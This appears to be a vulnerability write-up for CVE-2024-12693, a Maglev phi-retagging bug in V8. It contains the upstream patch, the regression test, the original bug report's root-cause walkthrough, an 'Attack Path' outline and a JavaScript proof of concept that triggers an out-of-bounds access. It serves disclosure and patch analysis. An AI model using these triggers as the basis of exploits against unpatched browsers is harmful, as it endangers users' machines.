CVE-2024-12693
Overview
Background
- `Phi`
- an SSA node that merges values arriving from a block’s multiple predecessors, including the special loop phi whose last input comes from the loop’s backedge.
- Loop phi
- a
Phiin a loop header whose inputs are the forward-edge values plus one backedge value that is only fully known after the loop body has been visited. - `phi_taggings_`
- a
SnapshotTablerecording, per predecessor, the tagging (retagging) node already created for a given untaggedPhi, soEnsurePhiTaggedcan reuse rather than re-emit tagging operations. - Retagging
- inserting a conversion node to turn an untagged (e.g.
Int32)Phiback into a tagged value when a use requires a tagged representation.
Root Cause Analysis
Verify before building a PoC
What the commit does not establish: Skip-backedge fix matches. Claims that EnsurePhiTagged 'mutates' snapshot state and causes OOB 'in generated code' are not shown by diff or commit message. Regression test uses --no-maglev-loop-peeling; default-config trigger shape unverified.
During Maglev’s phi representation selection, when a Phi is chosen to remain tagged, EnsurePhiInputsTagged iterates over every input and calls EnsurePhiTagged on each Phi input to guarantee it is tagged. For a loop phi, the final input is the backedge value, whose predecessor block has not yet been visited at the moment the loop header is processed, so it has no entry in the phi_taggings_ SnapshotTable. Calling EnsurePhiTagged on that backedge input therefore consults and mutates the snapshot state for a predecessor that does not yet exist in the table, producing an inconsistent tagging node and, downstream, an out-of-bounds memory access in the generated code.
The fix computes skip_backedge as 1 for loop phis and stops the loop one input early (phi->input_count() - skip_backedge), so the backedge input is never retagged prematurely; correctness is preserved because FixLoopPhisBackedge later tags the backedge input properly when the JumpLoop backedge is processed.
FixLoopPhisBackedge.Attack Path
- Craft an untaggable phi loop
Author JavaScript in which a variable becomes an untagged (
Int32) loopPhithrough an integer-only use inside a loop. - Force a retagging
Add a tagged use (e.g. calling a never-optimized function with the phi) so Maglev must retag the untagged
Phi. - Create a second loop with multiple forward edges
Arrange a following loop header with two incoming forward edges so the prior retagging is not available in all predecessors, forcing a fresh retagging via
EnsurePhiTagged. - Trigger premature backedge tagging
Optimize the function with Maglev so
EnsurePhiInputsTaggedprocesses the loop phi and retags its backedge input before the backedge block is visited, corrupting the tagging state. - Reach OOB access Execute the optimized function so the malformed tagging produces code that performs an out-of-bounds memory access in the V8 process.
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
fortest/mjsunit/maglev/regress-382190919.js |
modified | |
iftest/mjsunit/maglev/regress-382190919.js |
modified |
Files Changed
src/maglev/maglev-phi-representation-selector.cctest/mjsunit/maglev/regress-382190919.js
Audit Directions
- Loop-phi backedge handlingAudit every pass that iterates
phi->input_count()and mutates or reads per-predecessor state, checking whether loop phis’ backedge inputs are handled before the backedge block is visited. - SnapshotTable predecessor assumptionsReview code that reads or writes
phi_taggings_or similarSnapshotTables, verifying that no lookup or update assumes an entry exists for a not-yet-visited predecessor. - Deferred fixupsLook for representation or tagging work that relies on a later fixup (like
FixLoopPhisBackedge) and confirm no earlier pass performs that work eagerly on the deferred input.
Patch
From e4ecfc909687511aeb20b88ce6ae2a7a1a80afe5 Mon Sep 17 00:00:00 2001
From: Darius Mercadier <dmercadier@chromium.org>
Date: Thu, 05 Dec 2024 16:03:33 +0100
Subject: [PATCH] [maglev] Avoid retagging loop phi backedges too early
When we decide that a loop phi should remain tagged, we call
EnsurePhiInputsTagged to ensures that it only has tagged inputs, which
calls EnsurePhiTagged, which might cause retagging of any untagged
phi it has as input.
In order to avoid retagging multiple times the same Phi, we have a
SnaphotTable (`phi_taggings_`), which records existing tagging in the
predecessors, and in which EnsurePhiTagged looks to avoid creating
new retagging nodes. For loop phis, the backedge predecessor won't
have an entry yet in this SnapshotTable (since we only visit loops
once, this has to be the first time we visit the header and thus
we can't have already visited the backedge block), and we should
thus not call EnsurePhiTagged on the backedge.
Note that the backedge input will anyways be properly tagged when
FixLoopPhisBackedge is later called from the JumpLoop backedge.
Fixed: chromium:382190919
Change-Id: I5452ab41b3b37de3232d387b2414c0f5650bbfa9
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6074772
Commit-Queue: Olivier Flückiger <olivf@chromium.org>
Auto-Submit: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Olivier Flückiger <olivf@chromium.org>
Cr-Commit-Position: refs/heads/main@{#97578}
---
diff --git a/src/maglev/maglev-phi-representation-selector.cc b/src/maglev/maglev-phi-representation-selector.cc
index dc06151..a6d1059 100644
--- a/src/maglev/maglev-phi-representation-selector.cc
+++ b/src/maglev/maglev-phi-representation-selector.cc
@@ -334,7 +334,8 @@
// should be tagged. We'll thus insert tagging operation on the untagged phi
// inputs of {phi}.
- for (int i = 0; i < phi->input_count(); i++) {
+ const int skip_backedge = phi->is_loop_phi() ? 1 : 0;
+ for (int i = 0; i < phi->input_count() - skip_backedge; i++) {
ValueNode* input = phi->input(i).node();
if (Phi* phi_input = input->TryCast<Phi>()) {
phi->change_input(
diff --git a/test/mjsunit/maglev/regress-382190919.js b/test/mjsunit/maglev/regress-382190919.js
new file mode 100644
index 0000000..773f442
--- /dev/null
+++ b/test/mjsunit/maglev/regress-382190919.js
@@ -0,0 +1,39 @@
+// Copyright 2024 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --no-maglev-loop-peeling
+
+function g() { }
+%NeverOptimizeFunction(g);
+
+function foo(b) {
+ let phi1 = 0;
+ for (let i = 0; i < 10; i++) {
+ phi1++; // Int32 use so that {phi1} gets untagged.
+ }
+
+ let phi2 = undefined; // Not untaggable.
+ let j = 0;
+
+ if (b) {
+ g(phi1); // Triggering retagging of {phi1}.
+ }
+
+ // Nothing between the `if` and the loop header, so that the loop header ends
+ // up having 2 incoming forward edges.
+
+ for (; j < 5; j++) {
+ phi2 = phi1; // New retagging of {phi1} since previous one is not available
+ // in all predecessors.
+ }
+
+ return phi2;
+}
+
+%PrepareFunctionForOptimization(foo);
+foo(true);
+foo(false);
+
+%OptimizeMaglevOnNextCall(foo);
+foo(true);
Regression Test / PoC
diff --git a/test/mjsunit/maglev/regress-382190919.js b/test/mjsunit/maglev/regress-382190919.js
new file mode 100644
index 0000000..773f442
--- /dev/null
+++ b/test/mjsunit/maglev/regress-382190919.js
@@ -0,0 +1,39 @@
+// Copyright 2024 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --no-maglev-loop-peeling
+
+function g() { }
+%NeverOptimizeFunction(g);
+
+function foo(b) {
+ let phi1 = 0;
+ for (let i = 0; i < 10; i++) {
+ phi1++; // Int32 use so that {phi1} gets untagged.
+ }
+
+ let phi2 = undefined; // Not untaggable.
+ let j = 0;
+
+ if (b) {
+ g(phi1); // Triggering retagging of {phi1}.
+ }
+
+ // Nothing between the `if` and the loop header, so that the loop header ends
+ // up having 2 incoming forward edges.
+
+ for (; j < 5; j++) {
+ phi2 = phi1; // New retagging of {phi1} since previous one is not available
+ // in all predecessors.
+ }
+
+ return phi2;
+}
+
+%PrepareFunctionForOptimization(foo);
+foo(true);
+foo(false);
+
+%OptimizeMaglevOnNextCall(foo);
+foo(true);
Original Bug Report
Array out-of-bounds access vulnerability in the maglev phi untagging optimization.
Security Bug
Important: Please do not change the component of this bug manually.
Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs
Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp
NOTE: Security bugs are normally made public once a fix has been widely deployed.
VULNERABILITY DETAILS
1 Maglev Graph Build
During optimization, the Graph constructed by Maglev based on bytecode is roughly as follows, and I have annotated the corresponding JS code for each part in the graph.
After graph building
...
Block b2
14: ReduceInterruptBudgetForLoop(13)
↳ lazy @22 (4 live vars)
16: Jump b3
│ with gap moves:
│ - n17:(x) → 19: φᵀ r0 (x)
│ - n18:(x) → 20: φᵀ r3 (x)
▼
╭──►Block b3 peeled (effects:) // for (let i = 0; i < 5; i++) {
│ 19: φᵀ r0 (n17, n30) (compressed) → (x), 21 uses
│ 20: φᵀ r3 (n18, n31) (compressed) → (x), 2 uses
│ 21: CheckedSmiUntag [n20:(x)] → (x), 3 uses
│ 22: Int32Compare(LessThan) [n21:(x), n10:(x)] → (x), 0 uses 🪦
│╭───23: BranchIfInt32Compare(LessThan) [n21:(x), n10:(x)] b4 b5
││ ↓
││ Block b4 // loop body
││ 25: CheckedSmiUntag [n19:(x)] → (x), 1 uses
││ 26: Int32DecrementWithOverflow [n25:(x)] → (x), 2 uses // v3--
││ 27: Int32IncrementWithOverflow [n21:(x)] → (x), 2 uses
││ 28: ReduceInterruptBudgetForLoop(13)
││ 30: Int32ToNumber [n26:(x)] → (x), 1 uses
││ 31: Int32ToNumber [n27:(x)] → (x), 1 uses
╰──◄─29: JumpLoop b3
│ with gap moves:
│ - n30:(x) → 19: φᵀ r0 (x)
│ - n31:(x) → 20: φᵀ r3 (x)
│
╰─►Block b5
// use_v3 = v3;
32: LoadTaggedFieldForContextSlot(0x14, compressed) [n3:(x)] → (x), 1 uses
33: ThrowReferenceErrorIfHole [n32:(x)]
34: CheckSmi [n19:(x)]
35: StoreTaggedFieldNoWriteBarrier(0x14) [n3:(x), n19:(x)]
// Reflect.apply();
40: 🐢 CallKnownJSFunction(0x09b10025d6a9 <SharedFunctionInfo apply>) [n38:(x), n39:(x), n37:(x), n4:(x)] → (x), 0 uses, but required
╭────41: Jump b7
│ with gap moves:
│ - n36:(x) → 56: φᵀ r1 (x)
│
│ Block b6 (exception handler)
│ 42: φᵀₑ <accumulator> (compressed) → (x), 1 uses
│ ...
│ 55: Jump b7
│ │ with gap moves:
│ │ - n36:(x) → 56: φᵀ r1 (x)
│ ▼
╰┬─►Block b7 (effects: ua) // the body of the do-while loop
│ 56: φᵀ r1 (n36, n36, n19) (compressed) → (x), 1 uses // This phi node represents v15 and v3
│ 58: 🐢 CallBuiltin(KeyedStoreIC_Megamorphic) [n57:(x), n56:(x), n18:(x), n3:(x)] → (x), 0 uses, but required
│ 61: ReduceInterruptBudgetForLoop(7)
│ 62: Jump b8
│ │ with gap moves:
│ │ - n63:(x) → 64: φᵀ r2 (x)
│ ▼
│╭►Block b8 peeled (effects:) // empty loop: for (let i40 = 100; i40; --i40) {}
││ 64: φᵀ r2 (n63, n70) (compressed) → (x), 3 uses
││╭──65: BranchIfToBooleanTrue [n64:(x)] b9 b10
│││ ↓
│││ Block b9
│││ 66: CheckedSmiUntag [n64:(x)] → (x), 1 uses
│││ 67: Int32DecrementWithOverflow [n66:(x)] → (x), 2 uses
│││ 68: ReduceInterruptBudgetForLoop(7)
│╰─◄─69: JumpLoop b8
│ │ with gap moves:
│ │ - n70:(x) → 64: φᵀ r2 (x)
│ │
│ ╰►Block b10
│╭───71: BranchIfReferenceEqual [n19:(x), n8:(x)] b12 b11 // Determine whether the do-while loop should continue
││ ↓
││ Block b11
││ 72: ReduceInterruptBudgetForLoop(27)
╰──◄─73: JumpLoop b7 // backedge for do-while loop
│ with gap moves:
│ - n19:(x) → 56: φᵀ r1 (x)
│
╰─►Block b12
...
The above Maglev Graph can be represented as the following CFG.
B3 <--+ // for (let i = 0; i < 5; i++) { ... }
|\ |
| +-->B4
|
V
B5 B6 (exception handler) // try-catch
| |
+---------+
|
V
+--> B7 // do { ... }while();
| |
| V
| B8<---+ // for (let i40 = 100; i40; --i40) { }
| |\ |
| | +->B9
| V
| B10
| |
| V
+----B11
We need to pay special attention to 56: φᵀ r1 (n36, n36, n19) node in B7, this special Phi has three input nodes.
2 Maglev Phi Untagging
MaglevPhiRepresentationSelector::PreProcessBasicBlock() is applied to every BasicBlock in the Maglev Graph, and the function is as follows.
BlockProcessResult MaglevPhiRepresentationSelector::PreProcessBasicBlock(
BasicBlock* block) {
// Previously processing current_block_, now preparing to handle block
PreparePhiTaggings(current_block_, block);
current_block_ = block;
if (block->has_phi()) {
auto& phis = *block->phis();
auto first_retry = phis.begin();
auto end_retry = first_retry;
bool any_change = false;
for (auto it = phis.begin(); it != phis.end(); ++it) {
Phi* phi = *it;
switch (ProcessPhi(phi)) { // Optimizing the type of phi node
...
}
}
...
}
return BlockProcessResult::kContinue;
}
The crash occurs during the process of PreProcessBasicBlock() handling B7.
We need to pay attention to two functions within it: PreparePhiTaggings() and ProcessPhi().
3 Add elements to merge_values_
MaglevPhiRepresentationSelector::PreparePhiTaggings()
void MaglevPhiRepresentationSelector::PreparePhiTaggings(
BasicBlock* old_block, const BasicBlock* new_block) {
...
// Clear the predecessor list
predecessors_.clear();
if (!new_block->is_merge_block()) { // If it's not a merge block, this block only has one predecessor
BasicBlock* pred = new_block->predecessor(); // Get the predecessor of this block
predecessors_.push_back(pred->snapshot()); // Put it into predecessors_
} else { // If it's a merge block, the merge block must have multiple predecessors (such as back edge or merge edge of if)
int skip_backedge = new_block->is_loop(); // Determine if it is a loop
for (int i = 0; i < new_block->predecessor_count() - skip_backedge; i++) {
BasicBlock* pred = new_block->predecessor_at(i); // Get the predecessor of new_block
predecessors_.push_back(pred->snapshot()); // Only two elements will be placed in predecessors_
}
}
...
// Start a new snapshot based on predecessors_
phi_taggings_.StartNewSnapshot(base::VectorOf(predecessors_), merge_taggings);
}
This function collects predecessor nodes other than LoopJump. B7 has three predecessor BasicBlocks: B5, B6, B11. Among them, B11 is LoopJump, which will be skipped, so the predecessors_ = {B5->snapshot(), B6->snapshot()} is passed into StartNewSnapshot() (later written as B5->snapshot() as S5, the rest is the same).
Debugging found that since B6 has no input nodes, S6 = root_snapshot_. The SnapshotTable at this time is as follows.
root_snapshot_, S6, log: [0, 0)
|
/
/
/
S5, log: [0, 1)
SnapshotTable::StartNewSnapshot()will call two functions for processing.
template <class Value, class KeyData = NoKeyData>
class SnapshotTable {
void StartNewSnapshot(base::Vector<const Snapshot> predecessors,
const MergeFun& merge_fun,
const ChangeCallback& change_callback = {}) {
StartNewSnapshot(predecessors, change_callback);
MergePredecessors(predecessors, merge_fun, change_callback);
}
}
StartNewSnapshot()will find the nearest common ancestor node of{S5, S6}, which isroot_snapshot_, and then createS7withroot_snapshot_as the parent node. The SnapshotTable is as follows.
root_snapshot_, S6, log: [0, 0)
| |
/ \
/ \
/ \
S5, log: [0, 1) \
S7, log: [1, Invaild)
MergePredecessors()
template <class Value, class KeyData>
template <class MergeFun, class ChangeCallback>
void SnapshotTable<Value, KeyData>::MergePredecessors(
base::Vector<const Snapshot> predecessors, const MergeFun& merge_fun,
const ChangeCallback& change_callback) {
...
SnapshotData* common_ancestor = current_snapshot_->parent; // root_snapshot_
for (uint32_t i = 0; i < predecessor_count; ++i) {
for (SnapshotData* predecessor = predecessors[i].data_;
predecessor != common_ancestor; predecessor = predecessor->parent) {
base::Vector<LogEntry> log_entries = LogEntries(predecessor);
for (const LogEntry& entry : base::Reversed(log_entries)) {
RecordMergeValue(entry.table_entry, entry.new_value, i,
predecessor_count);
}
}
}
...
}
This method will traverse the LogEntry of SnapshotData between [predecessor, common_ancestor). In this case,
- For
S5, it will access[S5, root_snapshot_), which is theLogEntryinS5, and then callRecordMergeValue()for processing. - For
S6,[S6, root_snapshot_)is empty.
root_snapshot_, S6, log: [0, 0) <== common_ancestor
| |
/ \
/ \
/ \
S5, log: [0, 1) \
S7, log: [1, Invaild) <== current_snapshot_
RecordMergeValue()
template <class Value, class KeyData>
void SnapshotTable<Value, KeyData>::RecordMergeValue(
TableEntry& entry,
const Value& value,
uint32_t predecessor_index, // 0
uint32_t predecessor_count // 2
) {
if (predecessor_index == entry.last_merged_predecessor) {
...
}
if (entry.merge_offset == kNoMergeOffset) {
// Reserve predecessor_count elements in merge_values_
entry.merge_offset = static_cast<uint32_t>(merge_values_.size());
merging_entries_.push_back(&entry);
merge_values_.insert(merge_values_.end(), predecessor_count, entry.value);
}
merge_values_[entry.merge_offset + predecessor_index] = value;
entry.last_merged_predecessor = predecessor_index;
}
Note: When RecordMergeValue() processes the LogEntry in S5, predecessor_index = 0, and predecessor_count = 2. Therefore, merge_values_.insert() will insert two slots in the array.
4 Access merge_values_
Then, it will enter the ProcessPhi() method to optimize phi. The crash occurs when ProcessPhi() handles 56: φᵀ r1 (n36, n36, n19) in B7.
By adding the --trace-maglev-phi-untagging option, you can see that before optimizing n56, its input phi node n19: phi will be optimized to the Int32 type by ProcessPhi().
Considering for untagging: n19
+ use_reprs : {Int32}
+ input_reprs: {Int32}
+ intersection reprs: {Int32}
=> Untagging to Int32
@ Input 0 (n17): Making Int32 instead of Smi
@ Input 1 (n30): Bypassing conversion
...
Considering for untagging: n56
+ use_reprs : {Tagged}
+ input_reprs: {Int32, Float64}
=> Leaving tagged [incompatible uses]
ProcessPhi()
MaglevPhiRepresentationSelector::ProcessPhiResult
MaglevPhiRepresentationSelector::ProcessPhi(Phi* node) {
...
ValueRepresentationSet input_reprs;
...
bool has_tagged_phi_input = false;
for (int i = 0; i < node->input_count(); i++) {
ValueNode* input = node->input(i).node();
if (input->Is<SmiConstant>()) {
...
} else if (Constant* constant = input->TryCast<Constant>()) {
...
} else if (input->properties().is_conversion()) {
...
} else if (Phi* input_phi = input->TryCast<Phi>()) {
...
} else {
...
// If the input is tagged, and it is not required to perform tagging operations to become tagged
// Then we will not perform hosit operations, nor will we carry out untag optimizations
input_reprs.RemoveAll();
break;
}
}
// Get the usage information of phi
UseRepresentationSet use_reprs;
if (node->is_loop_phi() && !node->get_same_loop_uses_repr_hints().empty()) {
// {node} is a loop phi that has uses inside the loop; we will tag/untag
// based on those uses, ignoring uses after the loop.
use_reprs = node->get_same_loop_uses_repr_hints();
} else {
use_reprs = node->get_uses_repr_hints();
}
...
if (use_reprs.contains(UseRepresentation::kTagged) ||
use_reprs.contains(UseRepresentation::kUint32) || use_reprs.empty()) {
// For phi nodes used as tagged types, we will not perform untagged operations
TRACE_UNTAGGING(" => Leaving tagged [incompatible uses]");
EnsurePhiInputsTagged(node);
return default_result;
}
...
}
ProcessPhi() first calculates two sets of types:
input_reprs: The representation of the input nodes ofphi. The input noden36ofn56is ofInt32type, andn19is also a phi node, but it has been optimized toFloat64type. So forn56,input_reprs={Int32, Float64}.use_reprs: The value ofphiwill be used as what type. In this case, the value ofn56will only be used as tagged.
Since the value of n56 is used as a tagged type, ProcessPhi() gives up the optimization for this node, calls EnsurePhiInputsTagged() to ensure that all input nodes of n56 are tagged, and then exits.
EnsurePhiInputsTagged()
void MaglevPhiRepresentationSelector::EnsurePhiInputsTagged(Phi* phi) {
for (int i = 0; i < phi->input_count(); i++) { // Traverse all inputs of Phi
ValueNode* input = phi->input(i).node(); // Get the input node
if (Phi* phi_input = input->TryCast<Phi>()) { // If it is a phi node
phi->change_input( // Perform tagging operation for this input phi node
i, EnsurePhiTagged(phi_input, phi->predecessor_at(i),
NewNodePosition::kEndOfBlock, nullptr, i));
} else {
...
}
}
}
EnsurePhiInputsTagged() traverses the phi nodes in the input nodes of n56, that is, n19, and calls EnsurePhiTagged() to ensure that the value of the phi node n19 is tagged.
Note: n19 is the third input node of n56, so the predecessor_index parameter passed into EnsurePhiTagged() is 2.
EnsurePhiTagged()
ValueNode* MaglevPhiRepresentationSelector::EnsurePhiTagged(
Phi* phi, // n19
BasicBlock* block,
NewNodePosition pos,
const ProcessingState* state,
std::optional<int> predecessor_index // 2
) {
...
// Try to find an existing Tagged conversion for {phi} in {phi_taggings_}.
if (phi->has_key()) {
if (predecessor_index.has_value()) { // 2
if (ValueNode* tagging = phi_taggings_.GetPredecessorValue( // <==
phi->key(), predecessor_index.value())) {
return tagging;
}
} else {
if (ValueNode* tagging = phi_taggings_.Get(phi->key())) {
return tagging;
}
}
}
...
}
EnsurePhiTagged() first calls phi_taggings_.GetPredecessorValue() to query whether the untagged phi node n19 has been tagged before. If it has, it gets the node and directly returns it.
GetPredecessorValue()
template <class Value, class KeyData = NoKeyData>
class SnapshotTable {
...
const Value& GetPredecessorValue(Key key, int predecessor_index) {
if (key.entry_->merge_offset == kNoMergeOffset) return Get(key);
return merge_values_[key.entry_->merge_offset + predecessor_index];
}
}
Finally, we’ve arrived at the point where an array out-of-bounds error occurs. The SnapshotTable::RecordMergeValue() method inserts two elements into merge_values_. However, when querying, key.entry_->merge_offset=0, predecessor_index = 2, so it will access merge_values_[2], leading to an array out-of-bounds error.
This out-of-bounds range might lead to the construction of an incorrect Maglev Graph in the phi untagging, which is a complex vulnerability. I’m not sure if it can be exploited.
5 Commit Bisect
After analyzing the source code, I am confident that this vulnerability originates from commit: c3935610c0f95c93b48e5647ec59bf855df58c64.
This means that this vulnerability was introduced on 5/8/2023, at a time when the maglev compiler was not even enabled by default. I am surprised that this vulnerability has survived for so long.
VERSION
V8: from commit c3935610c0f95c93b48e5647ec59bf855df58c64 to the latest version.
REPRODUCTION CASE
poc.js:
let use_v3;
let obj = {};
function f1() {
// Create a phi node and trigger the maglev untagged optimization
let v3 = 5;
for (let i = 0; i < 5; i++) {
v3--;
}
use_v3 = v3; // Prevent v3 from being deleted
let v15 = 1.2;
// The try statement and the catch statement each have a path that leads to do{...}while()
try {
Reflect.apply(); // Used to throw an exception
} catch(e) {
}
// The BasicBlock corresponding to do{...}while() has three incoming edges:
// the try statement, the catch statement, and the loop's back edge
do {
obj[v15] = 1; // tagged use of v3
v15 = v3;
for (let i40 = 100; i40; --i40) {
}
} while (v3);
}
%PrepareFunctionForOptimization(f1);
f1();
f1();
%OptimizeMaglevOnNextCall(f1);
f1();
Run the following with a debug-compiled version of V8:
./d8 \
--allow-natives-syntax \
./poc.js
You will get the following crash:
#
# Fatal error in ../../src/zone/zone-containers.h, line 247
# Debug check failed: pos < size() (2 vs. 2).
#
CREDIT INFORMATION
Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited? Reporter credit: 303f06e3